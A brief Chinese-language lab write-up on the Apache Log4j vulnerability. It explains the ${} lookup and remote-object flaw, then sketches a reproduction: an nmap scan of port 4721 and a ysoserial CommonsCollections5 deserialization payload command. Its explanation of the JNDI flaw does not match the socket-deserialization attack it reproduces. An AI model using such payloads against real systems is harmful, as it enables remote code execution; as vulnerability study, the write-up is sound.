一、介绍
Log4j是由Apache提供的日志操作包,用于帮助用户处理日志信息。通过Log4j,可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器等各种地方。
二、漏洞原理
Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。
三、复现
环境搭建
查看容器运行状态
用nmap扫描指定端口
可以看到4721端口开放,然后使用ysoserial生成payload发送给4721端口
payload:
java -jar ysoserial-0.0.8-SNAPSHOT-all.jar CommonsCollections5